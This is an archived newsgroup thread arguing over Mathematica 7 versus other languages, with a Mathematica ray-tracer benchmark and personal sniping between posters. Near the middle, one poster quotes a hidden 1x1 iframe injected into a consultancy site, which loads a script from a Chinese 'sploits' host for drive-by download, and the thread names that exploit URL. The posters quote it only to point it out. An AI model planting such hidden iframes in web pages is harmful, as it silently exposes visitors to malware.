Mathematica 7 compares to other languages

X

Xah Lee

Wolfram Research's Mathematica Version 7 has just been released.

See:
http://www.wolfram.com/products/mathematica/index.html

Among it's marketing material, it has a section on how mathematica
compares to competitors.
http://www.wolfram.com/products/mathematica/analysis/

And on this page, there are sections where Mathematica is compared to
programing langs, such as C, C++, Java, and research langs Lisp,
ML, ..., and scripting langs Python, Perl, Ruby...

See:
http://www.wolfram.com/products/mathematica/analysis/content/ProgrammingLanguages.html
http://www.wolfram.com/products/mathematica/analysis/content/ResearchLanguages.html
http://www.wolfram.com/products/mathematica/analysis/content/ScriptingLanguages.html

Note: I'm not affliated with Wolfram Research Inc.

Xah
∑ http://xahlee.org/

☄
 
X

Xah Lee

Wolfram Research's Mathematica Version 7 has just been released.

See: http://www.wolfram.com/products/mathematica/index.html

Among it's marketing material, it has a section on how mathematica
compares to competitors. http://www.wolfram.com/products/mathematica/analysis/

Stephen Wolfram has a blog entry about Mathematica 7. Quite amazing:

http://blog.wolfram.com/2008/11/18/surprise-mathematica-70-released-today/

Mathematica today in comparsion to all other existing langs, can be
perhaps compared to how lisp was to other langs in the say 1980s:
Quite far beyond all.

Seeing how lispers today still talking about how to do basic list
processing with its unusable cons, and how they get giddy with 1980's
macros (as opposed to full term rewriting), and still lack pattern
matching, one feels kinda sad.

see also:

• Fundamental Problems of Lisp
http://xahlee.org/UnixResource_dir/writ/lisp_problems.html

Xah
∑ http://xahlee.org/

☄
 
B

budden

Mathematica is a great language, but:
1. it is too slow
2. It is often hard to read
3. It gives sence to every keystroke. You press escape by occasion and
it goes in a code as a new
symbol, w/o error. Nasty.
3. I know 5-th version. It does not allow to track the source as SLIME
does. This feature as absolutely
necessary for serious development

So, in fact, Mathematica do not scale well IMO.
 
A

anonymous.c.lisper

Are you a bot?

I think you failed the Turing test after the 8th time you posted the
exact same thing...

I'm completely serious.
 
A

anonymous.c.lisper

some stuff

You are a bot?

I think you failed the Turing test when you posted the same thing 20
times.

A rational human would realize that not too many people peruse this
newsgroup,
and that most of them have already seen the wall of text post that you
generate every time.

Just a thought, but whoever owns this thing might want to rework the
AI.
 
B

bearophileHUGS

Mathematica has some powerful symbolic processing capabilities, for
example the integrals, etc. It also contains many powerful algorithms,
often written in few lines of code. And its graphic capabilities are
good. It also shows some surprising ways to integrate and manipulate
data, for example here you can see how you can even put images into
formulas, to manipulate them:
http://reference.wolfram.com/mathematica/ref/ImageApply.html

So when you need an algorithm, you can often find it already inside,
for example in the large Combinatorics package. So it has WAY more
batteries included, compared to Python. I'd like to see something as
complete as that Combinatorics package in Python.

But while the editor of (oldish) Mathematica is good to quickly input
formulas (but even for this I have found way better things, for
example the editor of GraphEQ www.peda.com/grafeq/ that is kilometers
ahead), it's awful for writing *programs* even small 10-line ones.
Even notepad seems better for this.

For normal programming Python is light years more handy and better
(and more readable too), there's no contest here. Python is also
probably faster for normal programs (when built-in functions aren't
used). Python is much simpler to learn, to read, to use (but it also
does less things).

A big problem is of course that Mathematica costs a LOT, and is closed
source, so a mathematician has to trust the program, and can't inspect
the code that gives the result. This also means that any research
article that uses Mathematica relies on a tool that costs a lot (so
not everyone can buy it to confirm the research results) and it
contains some "black boxes" that correspond to the parts of the
research that have used the closed source parts of Mathematica, that
produce their results by "magic". As you can guess, in science it's
bad to have black boxes, it goes against the very scientific method.

Bye,
bearophile
 
B

bearophileHUGS

Jon Harrop:

Is so wide cross-posting positive?
4. Static type checking.<

This is a Python newsgroup, you will find less lovers of static typing
here :)

Overall, Mathematica is a whopping 700,000 times slower!<

Your Mathematica code is cute, but surely Mathematica isn't designed
for that kind of "programing". It's more for symbolic processing or to
perform few operations in a very flexible way, so it's more for
research and *exploration* and visualization; while more normal
programming languages are more to compute a lot of things when you
already know what you are doing.


You can write versions for Python, Psyco, ShedSkin, too, if you want.

Bye,
bearophile
 
L

Lew

A rational human would realize that not too many people peruse this
newsgroup,
and that most of them have already seen the wall of text post that you
generate every time.

Just out of curiosity, what do you consider "this" newsgroup, given its wide
crossposting?
 
S

Stef Mientki

Jon said:
Have they implemented any of the following features in the latest version:

1. Redistributable standalone executables.

2. Semantics-preserving compilation of arbitrary code to native machine
code.

3. A concurrent run-time to make efficient parallelism easy.

4. Static type checking.

I find their statement that Mathematica is "dramatically" more concise than
languages like OCaml and Haskell very interesting. I ported my ray tracer
language comparison to Mathematica:
<snip>

Mathematica (and MatLab) have a few large advantages over python / scipy
/ sage
1- although normally the cost a huge amount of money, students gets them
(almost) for nothing (reminds me of a drug dealer ;-)
2- MatLab is thé industrial standard
3- Wolfram's and Mathworks websites are a huge source of (simple)
theory and examples
4- a large number of publishers only accept articles based on commercial
packages like MatLab / Labview
5- they form alliances if they come too close together ( e.g. MatLab and
LabView)

So how does a small community like the Python / Scipy / Sage community,
which it's enormous diversity / induviduality (if I don't like one tiny
detail, I'll start something completely new),
ever think they are going to beat those commercial packages,
even if the product, is technical speaking, much better ?
Well I still have some hope,
the recently published MatPlotLib documentation / galery is a good example.

just my 1 cent (considering there's a recession),
cheers,
Stef
 
A

anonymous.c.lisper

Just out of curiosity, what do you consider "this" newsgroup, given its wide
crossposting?

Ah, didn't realize the cross-posted nature.

comp.lang.lisp

Hadn't realized he had branched out to cross-posting across five
comp.langs

Apologies for the double post,
thought the internet had wigged out when i sent it first time.
 
T

toby

Mathematica is a great language, but:
1. it is too slow
2. It is often hard to read
3. It gives sence to every keystroke. You press escape by occasion and
it goes in a code as a new
symbol, w/o error. Nasty.
3. I know 5-th version. It does not allow to track the source as SLIME
does. This feature as absolutely
necessary for serious development

Worst of all, it's proprietary, which makes it next to useless. Money
corrupts.
 
X

Xah Lee

2008-12-01

Xah said:
And on this page, there are sections where Mathematica is compared to
programing langs, such as C, C++, Java, and research langs Lisp,
ML, ..., and scripting langs Python, Perl, Ruby...

Have they implemented any of the following features in the latest version:

1. Redistributable standalone executables.

2. Semantics-preserving compilation of arbitrary code to native machine
code.

3. A concurrent run-time to make efficient parallelism easy.

4. Static type checking.

I find their statement that Mathematica is "dramatically" more concise than
languages like OCaml and Haskell very interesting. I ported my ray tracer
language comparison to Mathematica:

http://www.ffconsultancy.com/languages/ray_tracer/

My Mathematica code weighs in at 50 LOC compared to 43 LOC for OCaml and 44
LOC for Haskell. More importantly, in the time it takes the OCaml or
Haskell programs to trace the entire 512x512 pixel image, Mathematica can
only trace a single pixel. Overall, Mathematica is a whopping 700,000 times
slower!

Finally, I was surprised to read their claim that Mathematica is available
sooner for new architectures when they do not seem to support the world's
most common architecture: ARM. Also, 64-bit Mathematica came 12 years after
the first 64-bit ML...

Here's my Mathematica code for the ray tracer benchmark:

delta = Sqrt[$MachineEpsilon];

RaySphere[o_, d_, c_, r_] :=
Block[{v, b, disc, t1, t2},
v = c - o;
b = v.d;
disc = Sqrt[b^2 - v.v + r^2];
t2 = b + disc;
If[Im[disc] != 0 || t2 <= 0, \[Infinity],
t1 = b - disc;
If[t1 > 0, t1, t2]]
]

Intersect[o_, d_][{lambda_, n_}, Sphere[c_, r_]] :=
Block[{lambda2 = RaySphere[o, d, c, r]},
If[lambda2 >= lambda, {lambda, n}, {lambda2,
Normalize[o + lambda2 d - c]}]
]
Intersect[o_, d_][{lambda_, n_}, Bound[c_, r_, s_]] :=
Block[{lambda2 = RaySphere[o, d, c, r]},
If[lambda2 >= lambda, {lambda, n},
Fold[Intersect[o, d], {lambda, n}, s]]
]

neglight = N@Normalize[{1, 3, -2}];

nohit = {\[Infinity], {0, 0, 0}};

RayTrace[o_, d_, scene_] :=
Block[{lambda, n, g, p},
{lambda, n} = Intersect[o, d][nohit, scene];
If[lambda == \[Infinity], 0,
g = n.neglight;
If[g <= 0, 0,
{lambda, n} =
Intersect[o + lambda d + delta n, neglight][nohit, scene];
If[lambda < \[Infinity], 0, g]]]
]

Create[level_, c_, r_] :=
Block[{obj = Sphere[c, r]},
If[level == 1, obj,
Block[{a = 3*r/Sqrt[12], Aux},
Aux[x1_, z1_] := Create[level - 1, c + {x1, a, z1}, 0.5 r];
Bound[c,
3 r, {obj, Aux[-a, -a], Aux[a, -a], Aux[-a, a], Aux[a, a]}]]]]

scene = Create[1, {0, -1, 4}, 1];

Main[level_, n_, ss_] :=
Block[{scene = Create[level, {0, -1, 4}, 1]},
Table[
Sum[
RayTrace[{0, 0, 0},
N@Normalize[{(x + s/ss/ss)/n - 1/2, (y + Mod[s, ss]/ss)/n - 1/2,
1}], scene], {s, 0, ss^2 - 1}]/ss^2, {y, 0, n - 1},
{x, 0, n - 1}]]

AbsoluteTiming[Export["image.pgm", Graphics@Raster@Main[9, 512, 4]]]

LOL Jon. r u trying to get me to do otimization for you free?

how about pay me $5 thru paypal? I'm pretty sure i can speed it up.
Say, maybe 10%, and even 50% is possible.

few tips:

• Always use Module[] unless you really have a reason to use Block[].

• When you want numerical results, make your numbers numerical instead
of slapping a N on the whole thing.

• Avoid Table[] when you really want go for speed. Try Map and Range.

• I see nowhere using Compile. Huh?

Come flying $10 to my paypal account and you shall see real code with
real result.

You can get a glimps of my prowess with Mathematica by other's
testimonial here:

• Russell Towle Died
http://xahlee.org/Periodic_dosage_dir/t2/russel_tower.html

• you might also checkout this notebook i wrote in 1997. It compare
speeds of similar constructs. (this file is written during the time
and is now obsolete, but i suppose it is still somewhat informative)
http://xahlee.org/MathematicaPrograming_dir/MathematicaTiming.nb
Dr Jon D Harrop, Flying Frog Consultancy Ltd. http://www.ffconsultancy.com/?u

i clicked your url in Safari and it says “Warning: Visiting this site
may harm your computerâ€. Apparantly, your site set browsers to auto
download “http ://onlinestat. cn /forum/ sploits/ test.pdfâ€.. What's up
with that?

Xah
∑ http://xahlee.org/

☄
 
P

Petite Abeille

i clicked your url in Safari and it says “Warning: Visiting this
site
may harm your computerâ€. Apparantly, your site set browsers to auto
download “http ://onlinestat. cn /forum/ sploits/ test.pdfâ€.
What's up
with that?

Ah, yes, nice... there is a little hidden iframe there:

<iframe src='http://onlinestat.cn/forum/in.php ' width='1'
height='1' style='visibility: hidden;'></iframe>

Cheers,

PA.
http://alt.textdrive.com/nanoki/
 
L

Lew

Xah said:
LOL Jon. r u trying to get me to do otimization for you free?

These are professional software development forums, not some script-
kiddie cellphone-based chat room. "r" is spelled "are" and "u" should
be "you".
how about pay me $5 thru paypal? I'm pretty sure i [sic] can speed it up.
Say, maybe 10%, and even 50% is possible.

The first word in a sentence should be capitalized. "PayPal" is a
trademark and should be capitalized accordingly. The word "I" in
English should be capitalized.

Proper discipline in these matters helps the habit of mind for
languages like Java, where case counts.

Jon Harrop has a reputation as an extremely accomplished software
maven and columnist. I find his claims of relative speed and
compactness credible. He was not asking you to speed up his code, but
claiming that yours was not going to be as effective. The rhetorical
device of asking him for money does nothing to counter his points,
indeed it reads like an attempt to deflect the point.
 
P

Petite Abeille

These are professional software development forums, not some script-
kiddie cellphone-based chat room. "r" is spelled "are" and "u" should
be "you".

While Xah Lee arguably represents a cross between "Enfant
Provocateur" [1] and "Evil Clown" [2], this surely qualifies as a
"Grammarian" [3] rebuke :D

Cheers,

--
PA.
http://alt.textdrive.com/nanoki/


[1] http://redwing.hutman.net/~mreed/warriorshtm/enfantprovocateur.htm
[2] http://redwing.hutman.net/~mreed/warriorshtm/evilclown.htm
[3] http://redwing.hutman.net/~mreed/warriorshtm/grammarian.htm
 
X

Xah Lee

Xah said:
LOL Jon. r u trying to get me to do otimization for you free?

These are professional software development forums, not some script-
kiddie cellphone-based chat room. "r" is spelled "are" and "u" should
be "you".
how about pay me $5 thru paypal? I'm pretty sure i [sic] can speed it up.
Say, maybe 10%, and even 50% is possible.

The first word in a sentence should be capitalized. "PayPal" is a
trademark and should be capitalized accordingly. The word "I" in
English should be capitalized.

Proper discipline in these matters helps the habit of mind for
languages like Java, where case counts.

Jon Harrop has a reputation as an extremely accomplished software
maven and columnist. I find his claims of relative speed and
compactness credible. He was not asking you to speed up his code, but
claiming that yours was not going to be as effective. The rhetorical
device of asking him for money does nothing to counter his points,
indeed it reads like an attempt to deflect the point.

Dear tech geeker Lew,

If u would like to learn english lang and writing insights from me,
peruse:

• Language and English
http://xahlee.org/Periodic_dosage_dir/bangu/bangu.html

In particular, i recommend these to start with:

• To An Or Not To An
http://xahlee.org/Periodic_dosage_dir/bangu/an.html

• I versus i
http://xahlee.org/Periodic_dosage_dir/bangu/i_vs_I.html

• On the Postposition of Conjunction in Penultimate Position of a
Sequence
http://xahlee.org/Periodic_dosage_dir/t2/1_2_and_3.html

some analysis of common language use with respect to evolutionary
psychology, culture, ethology, ethnology, can be seen — for examples —
at:

• Hip-Hop Rap and the Quagmire of (American) Blacks
http://xahlee.org/Periodic_dosage_dir/sanga_pemci/hiphop.html

• Take A Chance On Me
http://xahlee.org/Periodic_dosage_dir/sanga_pemci/take_a_chance_on_me.html

• èŠ±æ ·çš„å¹´åŽ (Age of Blossom)
http://xahlee.org/Periodic_dosage_dir/sanga_pemci/hua3yang4nian2hua2.html

As to questioning my expertise of Mathematica in relation to the
functional lang expert Jon Harrop, perhaps u'd be surprised if u ask
his opinion of me. My own opinion, is that my Mathematica expertise
surpasses his. My opinion of his opinion of me is that, my opinion on
Mathematica is not to be trifled with.

Also, ur posting behavior with regard to its content and a habitual
concern of topicality, is rather idiotic in the opinion of mine. On
the surface, the army of ur kind have the high spirit for the health
of community. But underneath, i think it is u who r the most
wortheless with regards to online computing forum's health. I have
published a lot essays regarding this issue. See:

• Netiquette Anthropology
http://xahlee.org/Netiquette_dir/troll.html

PS when it comes to english along with tech geeker's excitement of it,
one cannot go by without mentioning shakespeare.

• The Tragedy Of Titus Andronicus, annotated by Xah Lee
http://xahlee.org/p/titus/titus.html

Please u peruse of it.

Xah
∑ http://xahlee.org/

☄
 
L

Lew

Xah said:
If [yo]u would like to learn [the] [E]nglish lang[uage] and writing insights from me,
peruse:

/Au contraire/, I was suggesting a higher standard for your posts.

As to questioning my expertise of Mathematica in relation to the
functional lang[uage] expert Jon Harrop, perhaps [yo]u'd be surprised if [yo]u ask
his opinion of me. My own opinion, is that my Mathematica expertise
surpasses his. My opinion of his opinion of me is that, my opinion on
Mathematica is not to be trifled with.

I have no assertion or curiosity about Jon Harrop's expertise compared
to yours. I was expressing my opinion of his expertise, which is
high.
Also, [yo]ur posting behavior with regard to its content and a habitual
concern of topicality, is rather idiotic in the opinion of mine. On

There is no reason for you to engage in an /ad hominem/ attack. It
does not speak well of you to resort to deflection when someone
expresses a contrary opinion, as you did with both Jon Harrop and with
me. I suggest that your ideas will be taken more seriously if you
engage in more responsible behavior.
the surface, the army of [yo]ur kind have the high spirit for the health
of community. But underneath, i [sic] think it is [yo]u who [a]r[e] the most
wortheless with regards to online computing forum's health.

You are entitled to your opinion. I take no offense at your attempts
to insult me.

How does your obfuscatory behavior in any way support your technical
points?
 
T

Tamas K Papp

Xah said:
If [yo]u would like to learn [the] [E]nglish lang[uage] and writing
insights from me, peruse:

/Au contraire/, I was suggesting a higher standard for your posts.

Hi Lew,

It is no use. Xah has been posting irrelevant rants in broken English
here for ages. No one knows why, but mental institutions must be really
classy these days if the inmates have internet access. Just filter him
out with your newsreader.

Best,

Tamas
 
R

Richard Riley

Petite Abeille said:
These are professional software development forums, not some script-
kiddie cellphone-based chat room. "r" is spelled "are" and "u" should
be "you".

While Xah Lee arguably represents a cross between "Enfant Provocateur"
[1] and "Evil Clown" [2], this surely qualifies as a "Grammarian"
[3] rebuke :D

Cheers,

From being mildly shocked at such a telling off for minor shortcuts I
would suggest more of a

http://redwing.hutman.net/~mreed/warriorshtm/android.htm

It would seem the soul contributions made are rebukes and petty
prodding.

Every group has one.
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
473,769
Messages
2,569,579
Members
45,053
Latest member
BrodieSola

Latest Threads

Top